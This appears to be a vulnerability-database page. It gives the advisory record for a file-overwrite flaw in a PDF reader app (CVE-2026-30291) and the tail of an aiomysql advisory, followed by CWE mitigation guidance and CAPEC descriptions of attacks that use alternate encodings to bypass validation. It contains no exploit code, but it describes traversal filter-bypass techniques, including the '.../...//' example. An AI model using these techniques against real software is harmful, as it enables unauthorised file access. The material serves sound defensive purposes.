https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267",
"id": "GHSA-r397-ff8c-wv2g",
"modified": "2025-10-23T17:38:48Z",
"published": "2025-10-22T16:47:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62611"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiomysql/pull/1044"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiomysql"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server"
}
GHSA-R44H-9P3V-45H6
Vulnerability from github – Published: 2026-04-01 15:31 – Updated: 2026-04-01 21:30An arbitrary file overwrite vulnerability in Ora Tools PDF Reader ' Reader & Editor APPv4.3.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.
{
"affected": [],
"aliases": [
"CVE-2026-30291"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T15:22:58Z",
"severity": "HIGH"
},
"details": "An arbitrary file overwrite vulnerability in Ora Tools PDF Reader \u0027 Reader \u0026 Editor APPv4.3.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.",
"id": "GHSA-r44h-9p3v-45h6",
"modified": "2026-04-01T21:30:29Z",
"published": "2026-04-01T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30291"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/18"
},
{
"type": "WEB",
"url": "https://oratools.github.io"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=pdf.reader.editor.office.ora"
},
{
"type": "WEB",
"url": "https://secsys.fudan.edu.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.